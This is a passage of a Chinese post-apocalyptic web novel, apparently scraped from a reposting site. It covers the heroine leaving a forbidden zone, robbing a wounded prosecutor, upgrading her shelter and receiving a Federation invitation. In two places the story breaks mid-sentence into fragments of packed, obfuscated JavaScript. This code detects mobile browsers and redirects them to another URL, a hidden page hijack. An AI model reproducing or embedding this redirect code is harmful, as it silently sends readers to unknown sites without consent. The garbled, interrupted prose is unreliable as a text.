>她手指抠紧门框,看见那人再次挥臂劈开一道扑近的影子,动作依旧强悍,可随之扬起的不止溃散的黑雾,还有一道鲜红血线。 “不用管我。” 最后四个字从那片发狂的影子中传来,轻轻落下。仿佛夏夜窗边的一缕微风,卷不走恼人的暑气,也带不来远方游者的沉吟。 而那人又刚好侧过半张脸。天光从叶抒年身后的门缝漏进去一线,恰好照见他染血的额角。 他的目光穿过纠缠的黑暗,与她相撞。那一眼不掺任何杂念,但是很奇怪,这样的眼神明明是第一次出现在那人身上,却让叶抒年觉得一切都如此自然,没有半分违和感。 可惜她来不及思考更多,因为屋外再次传来呻吟,只怕她再不出去帮忙,林煦言就只剩半截身子在地面上了。 因此她咬紧牙,转身冲出门外。 一步。两步。三步。每一步都像踩在碎玻璃上,她强迫自己不回头。 阮天清就在不远处,正半跪在地上,双手扣住林煦言的肩膀,用尽全身力气将人从泥沼般的地面里往外拔。 俞不晚则在一旁边扫射着其余影子,边帮忙喊口号:“来一二三,用力!” 分明是很紧张的画面,却让人莫名产生一丝喜感,大概因为少爷此刻的头发丝纷纷竖起,宛如疯狂的萝卜叶子。 叶抒年来不及帮忙拔林煦言,径直走向墙角,找到贾笺。 “你要的东西。” 她从储物空间里拽出那面镜子,往贾笺面前一墩。镜框上的灰扑簌着落下来,镜面映出贾笺清澈的眼。 只见女孩将手伸向那面镜子,指尖落在镜面上,却没有就此停下,而是径直穿进了镜子内部。随后她没有停下,继续缓缓将手深入,最终竟然整只手都没入其中! 叶抒年在一旁看得目瞪口呆。 但接下来的景象更加让她惊讶。贾笺的表情忽然变得凝重,像是摸到了什么,紧接着她倏然用力收回手,猛然一拽! 一道浓黑的影子竟被她从镜中硬生生拖了出来。 那影子在日光下扭动着,迅速贴近她,与她自己的身形重叠,最后彻底沉进她的脚下。 地面上,一道淡灰的人形轮廓渐渐清晰成形,安静地伏在那里。 她的影子回来了。 “我现在能放你们出去了!”贾笺的眼睛亮起来,声音里带着雀跃。 叶抒年看着她,忽然问:“你会变回界碑吗?”即便这几日来她对找到界碑孜孜以求,可真到了这种时候,她又觉得有些不舍。 眼前的少女好不容易与自己达成了和解,却要重新回到界碑日复一日的守望中去,这让她无端感到有些难受。 岂料下一秒贾笺说:“才不是呢,我身为界碑时本来就不止一种形态,只是影子的离去让我丧失了界碑的能力,如今它回来了,我的能力也就回来了,即便是人形也能够放你们出去。不过你想看我变回界碑吗?我也可以变给你看……” 叶抒年觉得这姑娘的话突然多了起来,大概这就是一个深陷泥沼的人洗去一身污淖后的样子吧。 不过说到泥沼…… 她猛然回头,终于想起来那边还有个深陷“泥沼”的人,赶忙冲过去捞起林煦言另一只手臂,帮阮天清分担压力。 “你们能不能往同一个方向拉——”少爷在半条腿被拔出来后忍不住发牢骚,“我感觉我正在被二马分尸。” “不要说不吉利的话。”叶抒年反手一巴掌轻轻拍在林煦言嘴上,勒令他把刚才的话呸掉。 终律城无所不能的少爷屈服于救命恩人淫威之下,乖乖闭嘴,最终在俞不晚的武力加持下挣脱了来自地底的束缚,顺便将一把匕首凭空扔出,正好插在一道即将扑来的影子上。 不过他终究安静不过一分钟:“姐,屋子里边那位,咱们不用管了吧?” 屋子里? 屋子里! 叶抒年一把松开林煦言,转身就朝门边跑。 她颤巍巍地拉开门,心提到了嗓子眼。刚才情急之下,那人为了帮她脱困,把自己填进了那片影子里,结果她办完事后却把人给忘了。 如果对方因此出了什么事,哪怕她再怎么看对方不顺眼,也会难免内疚的。也就是不知道如果那人真的遭遇不测,她们之前关于庇护所的交易能否就此作废…… 而接下来呈现在她眼前的场景,也的确印证了她的某些猜想。 只见屋内一片狼藉。靠近墙角的方位游散着大量黑雾,将那片区域笼罩得模糊不清,看不清里头究竟是何光景。而靠近门边的地面上,一只银亮的指虎静静地躺着。 叶抒年控制着自己不朝最坏的结果去想。万一人还有一口气呢? 她上前两步踏入屋内,弯腰捡起了那枚指虎。金属入手冰凉,边缘还沾着未干的血渍。 就在这时,身后的门“咔哒”一声,合上了。室内光线骤然暗淡,将那游荡的黑雾衬得更加森然。 43. 第43章 门合上的轻响在寂静中格外清晰,叶抒年脊背一僵,凉意顺着骨髓慢慢爬上来。 她不动声色地将手探向储物空间,指尖刚触到枪柄的冰凉,背后却忽然一沉。 一个带着温度的身躯忽然倒靠在她肩上,下巴轻轻磕在她颈侧。更有一只手从她身后虚软地环过,像是失去平衡后本能地寻找支撑,松松搭在她另一侧的手臂上。 所有重量都压了过来,带着搏斗后的滚烫体温,和浓重的血腥气。 叶抒年怔住了。 她慢慢转过头。 检察官的头正无力地枕在她肩窝,眼睫低垂,在苍白的脸上投下一小片阴影。他眉心蹙着,薄唇因失血而颜色淡了些,紧紧抿成一条线。 最刺目的是他额角那道伤,鲜血尚未凝固,正缓缓沿着鬓角滑下,留下一道触目的湿痕。 他的呼吸又重又烫,尽数拂在她颈侧的皮肤上,每一次吐息都带着竭力后的颤抖。人像是彻底脱了力,连指尖都松垂着,唯有那只搭在她臂上的手,还残留着一点虚软的蜷曲。 周围是未散的黑雾与狼藉,他沉重的呼吸声近在耳畔,血腥味弥漫在两人之间的空气里,咫尺之遥。叶抒年僵着没动,只感到肩头布料正被温热的液体一点点濡湿。 “你……你没事吧?还能站起来吗?” 叶抒年没有这种战后替人收尸的经验,她现在的脑子里只剩一团浆糊,眼前闪过刚才在屋内的画面,总觉得有什么不对劲,却什么思路也想不起来,只本能地礼貌性关心身后之人。 耳畔传来气若游丝的声音,气息拂过她耳廓:“我没事,只是受了点伤,休息一段时日就好了,你不用担心。” 这话听起来怪怪的,叶抒年其实压根就不担心对方,但这话要是直接说出来,好像会显得她很没良心。 可这里分明是末世,人人自危,良心有时反而是负累。她又瞥了眼肩上的人,那呼吸越发急促滚烫,喷洒在皮肤上激起细微的战栗。看来他是真伤得不轻,此刻恐怕不剩多少反抗之力。 说来也怪,叶抒年从不以世俗道德标榜自己。她自有行事的一套铁律,与大众主流所认同的观念或许有所出入,她却从不介怀。 违背自己的行事准则时,她的确会心中难受,故而她鲜少那么做;但若一件事恰巧绕开了她那套自创的规矩,她便觉得无所谓了。 譬如,她从不欺凌弱小。但面对一个原本实力强悍的男人,趁人之危,趁火打劫,似乎也并不难以接受。 这念头一闪而过,而叶抒年向来是行动派。 她手腕陡然一翻,掌心那把刚取出的手枪已调转方向,枪口不轻不重地抵上了身后人的腰腹。与此同时,她另一只手抓住他肩头,脚步向前一错,骤然发力—— 天旋地转间,两人位置彻底调换。 “砰”一声闷响,是男人脊背撞上粗砺墙壁的声音。 叶抒年欺身而上,将他牢牢困在自己与墙壁之间,握枪的手稳稳抵住他腹部,另一只手则钳着他双手。 距离骤然拉近。 近得能看清对方额角血珠滑落的轨迹,能数清他低垂的睫毛,能感受到他滚烫而紊乱的气息。检察官因撞击而闷哼一声,眼睫颤了颤,终于抬起眼看向她。 那双眼睛里毫无惊慌,只有欣喜的讶异,以及一丝因疼痛而产生的生理性水光。他苍白着脸靠在墙上,任由她制着。 “……这是做什么?” “打劫啊,看不出来么?”叶抒年直言不讳,将枪口又往前顶了顶,隔着衣料能感受到底下绷紧的肌肉。 很奇怪,检察官似乎并没有被她这一行为所惹恼,反倒一副心安理得的样子望着她,循循善诱。 “你的胆子越来越大了,之前敢和素不相识的男人同路,现在又敢趁火打劫。”他声音低哑,带着伤后的气虚。 “可能是习俗不同吧,我们那儿被打劫的人一般不这么废话。” 叶抒年歪着头上下打量眼前的人,不理解这个人明明已经狼狈如此,此刻连性命都被掌握在她的一念之间,怎么还能这么从容。 “那不妨入乡随俗。”那人微微仰头,后脑抵着墙面,喉结随着吞咽轻轻滚动,“我们这儿有个规矩,如果打劫者太过强势,被打劫者可以投降。” “投降?”叶抒年挑眉。 “而投降的标志是,”他垂眼,目光沉沉笼住她,“告诉对方自己的名字。” 什么破习俗?叶抒年觉得被戏弄了,心头火起,枪口狠狠一抵。她能清晰感觉到他腹部肌肉瞬间绷紧,呼吸也随之一滞。 可他的表情依旧没什么波澜,只是眼睫轻轻颤了颤,像在忍痛。然后他缓缓吸了口气,声音压得更低,几乎成了气音,混着温热气息拂过她耳畔: “我叫宋之珩。” 那三个字落在耳边时,叶抒年莫名感到一阵心慌。此前听说整个联合政府,没人知晓检察官的名字,如今却这么轻易地告诉她,怎么想都觉得有诈。别是打算日后灭口吧? “你在想什么?”对方似乎存心与她作对,偏不许她自己冷静思考,要在这时添乱,“我都向你投降了,你怎么还不说你要什么?不是要打劫?怎么只打不问,你不问,我怎么招?” 那声音低低地追过来,气息拂过她耳廓。叶抒年的胡思乱想被打断,只能抬头直视对方的眼睛。 四目相接不过一瞬,她又将目光别开。 “林煦言说,你先前在禁区抢了他不少东西,除此之外,你应该也没少从联邦那儿捞好处吧?有什么就给什么,若是让我满意,今天兴许饶你一命,我们从此江湖不见。” 一直舒展着眉眼的男人,面色忽而沉凝下来。他喉结滚动了一下,像是吞咽下某种涌到嘴边的情绪,然后才抬起眼,目光幽深地看进她眼里。 “我衣领里有串项链,你把它拿去,你要的东西都在里面。” 他顿了顿,任由她的枪口抵着。 “至于能不能取出来……就看你自己了。” 叶抒年想了想,依然没撤下钳制着对方的手,对着屋外喊了声:“小俞。” 她话音刚落,门就开了 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她将项链收入自己的储物空间,与门边的阮天清对视一眼,示意她们可以返程了。而后转回头,朝仍被俞不晚用枪指着的男人弯了弯眼睛。 “谢啦。” 她转身离开。 她走得毫不拖泥带水,没回头,因此也错过了身后那道目光。 尘埃落定后的空气,似乎都比先前清透了几分。正值正午,阳光倾泻下来,照在无垠的沙地上,反射出细碎金芒,像为这群刚刚脱险的人铺开了一条耀眼的路。 叶抒年一行人站在禁区与荒芜地模糊的交界线上,回身望去。 远处,两个纤细的身影立在风中,朝她们挥着手。叶抒年在心里默默道了别。 恍惚间,她眼前仿佛又浮现出几天前立在此处的那座界碑,碑上深深浅浅的刻痕,不知是否就是少女心中曾经的沟壑。若真是如此,她想,如今那碑面应是光洁如新了。 她收回视线,转身继续前行。身后,遥遥传来最后一声钟鸣,悠长沉缓,为这段插曲画上句点。 自清晨与萧千复等人分别后,联邦与终律城的人便再未出现,此刻大概仍在禁区深处,执着地寻觅那座已不存在的石碑。 叶抒年跨上阮天清的机车后座,扣好头盔。她伸手环住身前人紧窄的腰身,同时从储物空间摸出一包零食,顺手抛给并排骑行进的俞不晚,收获了一声亲昵的感谢。 不多时,引擎轰鸣骤起,划破荒芜地的寂静。 三道身影疾驰而出,长发在热风中拉成飞扬的直线。车后传来林煦言气急败坏的喊声:“喂!你们又不等我——!” 不过这抱怨很快便被掐断。 因为就在前方不远,一片密匝匝的人影,如同从热浪幻影中凝实一般,缓缓浮现,挡住了去路。 人影逐渐清晰。 那是一支全副武装的队伍,统一的深色作战服,手中枪械冰冷,在烈日下泛着哑光。更引人注目的是,队伍两旁停着七八台重型战车,厚重的装甲上尘土未消,车顶高高扬起的旗帜在风中翻卷。 旗帜上,终律城的徽记清晰刺目。 44. 第44章 荒芜地傍晚的云被夕阳浸透,凝成一片薄薄的紫,悬在天边像道散开的飘带。 叶抒年坐在庇护所二楼刚刚装好的巨大落地窗前,双脚悬在空中一晃一晃,忍不住回忆起前不久在禁区边上的场景。 林煦言没骗人,他哥哥真的长得很帅。 直到现在,叶抒年还记得那会儿沙地上的热浪蒸得人发晕,汗水不断淌进眼里,刺痛模糊了视线。 可即便如此,当那个穿着笔挺制服的男人从装甲战车上跃下时,所有人的目光还是不由自主地聚了过去。 先入眼的是一身深灰制服,金属纽扣一直扣到领口,衬得身形格外挺拔。那身装束裹着一股禁欲的秩序感,与周遭滚烫粗砺的沙地格格不入,仿佛在说生人勿近,熟人更是滚开。 紧接着才是他利落的黑发,微抿的薄唇,还有一双在烈日下像透光琉璃的深蓝色眼眸。而那骨相深邃立体,与林煦言几乎找不出半分相似,让人不禁怀疑这兄弟俩的血缘。 他落地时脚踩在松软的沙面上,声音轻柔,制服衣摆却猎猎作响。 那一瞬,连原本嬉闹个不停的叶抒年和俞不晚都静了下来,自觉闭上嘴,空气里一时只剩热风卷着沙粒,打在战车金属外壳上,发出细碎的响。 而身后正吭哧吭哧蹬着山地车的林煦言,本来还一脸幽怨地小嘴叭叭个不停,在见到那个男人后,也瞬间噤声。 他猛地刹住车,双脚踩地,看着前方那人,脸上那点属于少爷的嚣张气焰熄得干干净净,只剩下一副被当场捉住的心虚模样,宛如一只被主人捏住后颈的猫咪。 随即,他磨磨蹭蹭地下了车,一步一蹭地挪到兄长面前,脑袋耷拉着,做贼心虚般试图唤起一点来自兄长的爱: “哥。” 那男人目光落在林煦言脸上,道:“玩够了?” 林煦言立刻点头,宛如小鸡啄米。 “现在能回家了?” 再次啄米。 点完头,林煦言悄悄侧过脸,朝叶抒年这边飞快地挤了挤眼睛。 对此叶抒年的解读是:吾危,速归,有缘再会,不必想我。 男人没理会弟弟的小动作,径直走到叶抒年几人面前。他站定,目光依次扫过阮天清、俞不晚,最后落在叶抒年脸上,微微颔首,这是一个不算礼节的礼节。 “林砚。”他报上名字,语气依旧冷淡,却带着公事公办的礼貌,“这几天,辛苦你们照顾舍弟。” “不辛苦不辛苦,林……兄客气了。”叶抒年顺着他的话接,一时间不知该如何称呼,就挑了个看起来不出错的,模仿对方语气道,“令弟……很活泼。” 林砚像是没听出她话里那点微妙的意味,只从制服内侧取出一枚深灰色的影语石,操作了几下,屏幕亮起微光。 “ID。” 这是干什么?滴水之恩当涌泉相报?不愧是能当终律城一把手的人,有觉悟! 叶抒年当即报了一串数字。 片刻后,她自己的影语石轻轻一震。低头看去,账户里多了一笔数目可观的积分。 “一点心意,当作谢礼。”林砚收起影语石,话音里却听不出什么谢意。他转过身,朝林煦言抬了抬下巴,“上车。” “你们这就回去了?”叶抒年不知哪来的胆子,在他身后问。 林砚脚步一顿,侧过半边脸。 “终律城还有几个小辈在里面。我们在外围找了两天,确认入口已经消失了。”他语气里透出一丝烦闷,似乎在为当前的情况感到棘手,“现在只能等。” 叶抒年想了想那座如今已化为人形的界碑,觉得当下的003号禁区大约是只能出不能进的状态。而这位执政官要等的小辈,此刻不知身处森林何处,生死未卜。 因此她只好客套地安慰道:“再等等,说不定人就自己出来了。” 就是不知道出来的是活物还是尸体了…… 林砚深蓝的眸子看了她一眼,没说话,只微微颔首,算是听进去了。而后他不再停留,迈开步子走向战车。 林煦言耷拉着脑袋跟在他身后,临上车前,又偷偷朝叶抒年比了个“再联系”的手势。 战车引擎轰鸣起来,卷起一片沙尘,朝着禁区边界驶去,终律城的旗帜在暮色里渐行渐远,最终融进天光里。 帅是帅……不过这态度,让人更加怀疑他和林煦言的血缘了。谁敢想,这种高冷淡漠的兄长竟然能养出个林煦言! 叶抒年腹诽归腹诽,倒没再多想。反正林砚给的那笔积分实在丰厚,她对出手阔绰的人,印象总归不差。 她收回思绪,目光又落回窗外。楼下沙地上,俞不晚还架着枪,对着远处的靶子一枪接一枪,枪声在暮色里显得分外清脆。 叶抒年推开窗,朝下喊了一嗓子:“三个小时了,你不歇会儿?” 她这二楼都拾掇完了,太阳也快沉到沙丘后面去了。再过会儿,天色一暗,那些东西就该出来了。 “我再练会儿——”底下传来拉长的回应,枪声倒是没停。 叶抒年倚在窗边,看着俞不晚的背影,觉得稀奇。 这人自从回到庇护所,就像受了什么刺激。先是赖在这儿,非说比她那地下城舒坦,死活不肯走。这会儿又跟靶子较上劲了,子弹不要钱似的往外突突。那架势不像在练枪,倒像把那靶子当成了谁的脑袋,枪枪爆头。 不过这也不妨事,叶抒年觉得对方爆爽了就行,这枪声顺带还能帮自己这个不具有营业合法执照的民宿做做宣传。 她合上窗,取出影语石,将林砚转来的那笔积分平分成三份,其中两份划给了俞不晚和阮天清。 她们从禁区回到庇护所已将近一下午光景,前不久阮天清忽然说临时有事要回一趟猎人基地,今天夜里再回来,叶抒年不禁替对方担心起来。 不过光担心也没用,担心毕竟不能化为实体攻击扫清夜里荒芜地中的那些异兽,不如趁这个时间干点实际的事。 于是她凝神,试着在脑海中唤起某个沉寂许久的系统。 那声音确实很久没出现了,不过这也怪她自己,前些日子在禁区里奔波,几乎没给系统什么出场的机会。如今材料已凑齐,二楼也收拾妥当,是该找它结算一下奖励了。 不过看起来,系统似乎并不为她的巨大成就感到高兴,隔了许久才理她。 【当前任务:修葺1号楼二层,使其达到稳固标准。】 【任务奖励:生存材料包×1;二层基础功能分区激活;废土身份编号。】 【任务完成进度:100%】 【奖励结算中——】 不一会儿,叶抒年眼前的空中忽然多了两个储物小方。她取过那个小方块,整理着其中的物品。 清单如下: 1.水源类: 瓶装水五箱(550ml*24);食品级PE储水桶两个(附浓缩柠檬汁一瓶、净水片两盒);手动压水器一个。 2.食品类:军用压缩饼干两箱;肉类罐头八罐;水果罐头六罐;真空杂粮五袋;食盐两罐(陶瓷密封);白糖两罐(陶瓷密封);黑巧克力六条。 3.药品与工具类:急救箱一个(含碘伏棉片、无菌纱布、感冒/退烧/止痛/肠胃药);复合维生素片四盒;锰钢工兵铲一把;手摇发电手电筒一个;粗实尼龙绳一卷;多功能瑞士军刀一把。 整理完这一切后,叶抒年由衷地感慨,虽然这系统平时冷漠,但这种时候给出的奖励还是很丰厚嘛,这些生活物资够她安稳度过一个月了。 她将储物小方收好,又敲了敲系统,“你刚刚说的二层基础功能分区激活,是什么意思?” 她刚说完,就看见眼前的水泥毛坯房内,几面墙体自地面缓缓升起。 虽仍是水泥原色,格局却已清晰可分。一半空间被隔成数间客房,连床板与床垫都已安置妥当;另一半则是一片开阔的大厅,空荡荡的,用途未定,像是留给她自行发挥的余地。 叶抒年想了想,又问道:“我之前攒下的那些建筑材料,现在能用来装修二楼么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186446|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她记得系统提过,庇护所自有等级之分。一楼能一步到位升至最高安全等级,是靠系统的初始奖励。往后的升级,恐怕都得靠自己。 好在这次她从禁区带出来的东西不少,萧千复那儿也换来了好几样稀有材料。虽说不确定那些材料是否真能用于加固这栋房子,但她总归想试试。 俗话说得好,来都来了。 没多久,那道机械音回复她:“可以。” 于是叶抒年顺理成章地取出自己先前获得的物资,将材料一字排开,目光扫过。 活性菌泥涂墙最合适,回敬斥晶要嵌进承重柱里,迷龟壳轻薄,敲碎了掺进天花板夹层正好。至于那截叫“墨忒尔”的活体金属,捏在手里温温的,叶抒年觉得,拿来当门窗的框架应该不错。 她没多犹豫,挽起袖子就干。 做完一切后,落地窗外的天光更暗淡了,而室内却一片明净。 客房的床和垫子还在原处,但空气好像清爽了些,连浮尘都少了。那片空荡荡的大厅,地面光洁如镜,墙壁毫无装饰,却莫名让人觉得踏实。 这时,脑海深处,系统的声音再次响起: 【二层基础装修已完成。】 【正在整合特殊材料特性……整合完毕。】 下面还贴心地列了张评估报告: 基础防御:87(够硬) 异常抵抗:73(能歪掉一些乱七八糟的能量攻击) 自我修复:68(小伤自己会偷偷长好) 环境适配:41(干净,但不够舒服,主要体现在基础设施过少) 攻击倾向:15(挨打了会瞪回去至于怎么瞪别管) 美观度:5(系统提示:当前风格为原始毛坯工业风) 最后还补了句: 「综合评定:庇护所二层已达到高级庇护所标准。」 「提示:攻击倾向属性可能导致来访者产生不必要的误会。请管理员酌情对大门外悬挂说明告示。」 叶抒年听完,目光落在最后那行“美观度:5%”上,皮笑肉不笑。 行吧,实用就行。 不过这不应该是极简风嘛?系统真不解风情。 她走到新装的防爆窗前。 夜色已沉,外面是荒芜地永恒的风与沙。但此刻站在这里,但此刻站在这里,面前是泛着暗银光泽的玻璃,身后是沉默坚厚的墙,心里忽然就安稳了。 身在末世,最难得安全与归属感。 安全感来源于她的庇护所与物资,归属感则来源于楼下俞不晚的深情呼唤。 “年年我饿了!你还有没有泡面?来一份呗,我帮你烧开水!” 这个女人终于打枪打累了。叶抒年嘴角忍不住上扬,起身下楼。 踏入一楼,她一见到满屋子的精装风格就心情愉悦,忽然理解了系统为什么那么嫌弃她的极简风。她看了眼正在门口研究防御系统面板的俞不晚,没打扰对方,径直走进厨房。 身后又传来俞不晚的呼唤:“烧个开水也要动用厨房吗?需不需要我给你打下手?” 叶抒年失笑,“烧开水倒是不需要启动厨房,不过我们今晚不吃泡面,好不容易死里逃生吃点健康的吧,我做顿大餐,顺便等清清回来一起吃。” “哦——”俞不晚的声音由远及近,最终一个白金色的脑袋从叶抒年颈窝钻出来,下巴抵在她肩头,发梢蹭得人发痒,“你还会做饭?” 可不是,叶抒年记得自己在穿越前日日泡在工地,腻了盒饭,她便自己学着做。不说厨艺多么精湛,做些家常小菜还是不在话下,想当年连她们工地上的狗狗都最好她这儿的骨头。 因此她摇头晃脑地挽起袖子,又从储物小方里取出杂粮、食盐与白糖,准备给俞不晚好好亮一手,然后…… 然后愣住了。 粮和调味料是有了,但她貌似没有肉和菜…… “你怎么了?”俞不晚看着忽然陷入沉思的叶抒年,虚心发问。 “你说……异兽的肉好不好吃啊?” 45. 第45章 “红烧还是清蒸呢?” “红烧吧?那边不还有白切鸡和水煮鸭嘛,这个得来点重口的……” 阮天清一进门,听见的便是厨房内的窃窃私语。 她把从猎人基地带回的行囊搁在沙发边,捏着刚在门口拾到的信封,朝厨房走去。 “在忙什么?”她本想就着屋顶的暖光看看信封,目光却不由自主地被厨房里的光景引了过去。 宽敞的半开放式厨房里,叶抒年系着条蓝粉围裙,下摆长得几乎拖地,而她手里正拎着一条晶壳陆行蟹的腿。 那蟹还在空中徒劳地蹬划着,灶台上另一只原本静悄悄的则突破防线,趁机溜出了不锈钢盆,随即被另一只白皙修长的手一把按住。 “你小子刚才装死是吧?行,姐姐现在就把你送进锅里!” 这是俞不晚,她此刻两只袖子挽得老高,一头白金色长发用根木筷随意簪着,衬得那张脸愈发明丽。 正跟晶蟹较劲的叶抒年闻声抬眼,瞧见了一旁嘴角微扬的阮天清,忙道:“回来得正好!我们刚从沙地里捉了几只螃蟹,正愁腾不出手呢。” 言外之意,见者有份,既然回来了就帮忙处理一下食材,阮天清听懂了。她不多言,将信封往桌案上一搁,走到叶抒年身边,自然接过了她手里那只张牙舞爪的蟹。 “这种蟹的进化壳太硬,活着不好处理。”阮天清捏着蟹壳边缘,利落地将它摁回盆里,“不如先上锅蒸一会儿?” 叶抒年深以为然,在围裙上擦了擦手,拍拍她肩膀:“还好你回来了。这艰巨的任务就交给你了,同志,莫辜负。” 她瞥见阮天清进门时捏着的信封,正要去看,俞不晚的嚷嚷声又插了进来: “你们两个不要再打架了!和气生财懂不懂!”俞不晚蹲在灶台边,对着地上两只被草绳捆住脚的沙原鹌鹑指指点点,“年年你来管管它们,你的白切鸡正在攻击你的水煮鸭!哎呀水煮鸭反击了……” 叶抒年转头,果然看见那两只鹌鹑正梗着脖子互啄,战况进入白热化,决战一触即发。她走过去,干脆利落地给每只鸟脑袋上来了一巴掌。 世界清静了。 她这才回身拿起桌案上的信封。 暖黄灯光洒在纯白信封上,照得封口处那抹朱红火漆印泥格外醒目,底下压着一行小字。 “0813。”她念出那串数字,抬眼看向阮天清,“这信封哪来的?” “刚才进门时在门口地毯上捡的,看着不像别人不小心落下的,就拿进来了。” 阮天清正好将三只晶蟹一齐笼进蒸锅里,用灶台旁的毛巾擦了擦手,看了眼脚边那两只沙原鹌鹑后,抽出了自己腰间的短匕。 这是三年前,她在一次任务中从某个禁区顺出来的,用当地天然形成的特殊物质制成,匕尖锋利无比、永不生锈。 这东西跟随了她三年,封过无数觉醒者与高阶异兽的喉咙,想不到有朝一日会用来对付一只最低价的鹌鹑。 叶抒年见她抽出匕首,便默契地捏着信封走到料理台另一侧,按下了烧水壶开关。这壶是俞不晚从旧货堆里扒拉出来的,经她用系统奖励的净水片和手动压水器改装过,如今接上水桶就能直接出热水,很是方便。 烧水是为了给那两只鹌鹑褪毛。趁着水还没沸,她低头仔细端详手里的信封。 信封底色纯白,边角裁切得一丝不苟。封口处有一枚殷红的火漆,印章图案繁复精致,深深压入蜡中。 “这个印记我见过。”她忽然开口,手指点着封口处那枚红色火漆印,“在萧千复的背包上。如果没猜错,这是联邦的徽记。” “没错。”阮天清那边传来利落的应答声。她手起刀落,匕首在空中拉出一道寒光,两只鹌鹑的脖颈间便绽开细小的血线。血珠溅落在地板上,很快被俞不晚拿着抹布慢条斯理地擦去。 得到了肯定的回复,叶抒年不禁谨慎起来。 如果这信真是联邦刻意送来的,事情就有些麻烦了。她与联邦打交道不多,仅限在禁区里和萧千复那伙人周旋过一阵。 但算算时间,即便萧千复午前就找到贾笺、离开了禁区,并将她们在里头“狮子大开口”的事传回总部,也不至于这么快就派人来下战书。 更何况,她只向对方透露过姓名,住址可是半个字没提。 “要在这么大片的荒芜地里准确找到这儿,也不容易。”俞不晚擦完地板,直起身说道,“他们想干什么?” 叶抒年也正想到这一层。她与阮天清交换了一个眼神,在对方微微颔首后,便小心地挑开了信封上那枚精致的火漆。 一张卡片滑落出来。 卡片是纯金色,捏在手里薄薄一张,但这上面的内容却彰显着,它的分量不轻。那些字是手写的花体,银色墨水在灯光下泛着幽微光泽。 她垂下眼,阅读着这些内容。 致叶女士: 我们谨此邀请您出席下弦月之夜,于卡墨拉穹顶之下举行的私密集会。 请允许我们为您预告当晚那些激动人心的环节: ?拍卖厅:这里有一位口才极佳的拍卖师,和一群眼光独到的宾客。您将看到来自各个被遗忘角落的宝贝:或许是上个文明留下的机械小鸟,或许是泡在罐子里的未知生物器官,又或许是记载着禁忌知识的古老羊皮卷。届时请举起您的号牌,亲爱的朋友,让心跳跟着竞价一起飙升! ?假面回廊舞会:在这里,没有名字与身份,只有乐曲交迭与舞池中的翩翩身影。您只需与另一位佩戴面具的客人交换一杯果酒,那么,对方今晚的舞伴就是您了。在舞会结束前,您尽可以忘却烦恼享受当下,或许还会收获意外之喜。 ?真空集市:如果前面的场合仍让您觉得拘束,那么,欢迎来到真正的自由区。这里没有任何规则与局限,一切只取决于交换者的想象力。您可以用三罐牛肉罐头换一个关乎生死的秘密,也可以用一枚来自深渊的奇特鳞片,换取某位大人物明天的行程表。 记住,这场特别的聚会只认请柬不认人。 您的通行密码是:0813。 当月色将荒芜地东南角那座歪斜的旧信号塔影子拉得最长时,您会在塔基的碎石中发现一条向下的阶梯。请勇敢地走下去,我们将在沙龙的光辉中恭迎您。 ——联邦敬上 “什么意思,鸿门宴?”俞不晚拧起眉,一把拎起烧滚的水壶。 壶嘴倾泻,滚烫的水柱劈头盖脸淋在那两只早已断气的鹌鹑身上,激起一阵白汽。那动作毫不留情,像是把这两只盘中餐当成了某个不安好心的集会发起人。 阮天清也对此表示怀疑,不过她动作迅速地掏出了自己的影语石,指尖在光屏上快速划动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195845|193266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,找到某个联络人,发去简短的询问。 [天在水:联邦最近有无异常动向?] 对方的回复几乎即刻弹出: [yc:联邦?你指卡墨拉集会?我们工会刚收到三封邀请函,我正愁找谁去呢。] 得到消息后,阮天清这才放心一点,对俩人道:“不一定是鸿门宴,猎人工会也收到了邀请函。” “可是联邦的人怎么会知道我的名字?”叶抒年一想到这点,就觉得毛骨悚然。 她来到这世界不足一月,在今天正午之前,甚至是个连身份编号都没有的黑户。对方如何知晓她的姓名,又如何精准地将邀请函送至这荒芜地深处的庇护所门前? 匪夷所思。 “我也想知道原因。”阮天清眉头未展,声音沉了沉,“看来,这趟我们非去不可了。” 听她这么说,叶抒年心里那点不安反而落定了几分。她见阮天清仍锁着眉,只当对方是在为自己忧心,便伸手接过她手里的匕首,刀刃在指间轻巧一转。 “船到桥头自然直。”她语气故作轻松,像是要驱散凝滞的气氛,手下却熟练地处理起鹌鹑来。 刀刃贴着骨骼游走,精准地分离皮肉,动作利落得不带半分冗余。寒光映着她平静的侧脸,方才那点危机感似乎也被这日常的烟火气驱散不少。 俞不晚在一旁看着,吹了声短短的口哨:“刀工不错啊。” “那是,我厨神的名号不是盖的。”叶抒年头也没抬,手腕轻抖,一片完整的胸肉便被剔下,落在旁边备好的盘中。 “要不是我……”叶抒年刚想继续吹水,忽然想当自己的来历,将原本的话咽了回去,“我安分守己不喜杀戮,我觉得我应该也能练出个什么拿手武器,在禁区里乱杀。” 这话本是随口一说,没想到阮天清却认真接了过去:“嗯。刀类器具我熟悉,你可以跟我练。”她顿了顿,目光转向俞不晚,“枪械让小俞教你。多些防身的手段,去集会后,也能多几分把握。” 叶抒年剔肉的手微微一顿。 她抬眼看向阮天清,对方神色平静,仿佛只是陈述一件再自然不过的事。就连一旁玩着匕首的俞不晚也抬起头,咧嘴一笑:“行啊,包教包会。” 刀刃刮过骨头的顿挫声在厨房里显得分外清晰。叶抒年垂眼看着手中光洁的禽骨,忽然有些走神。 “……好啊。”她听见自己这样说。 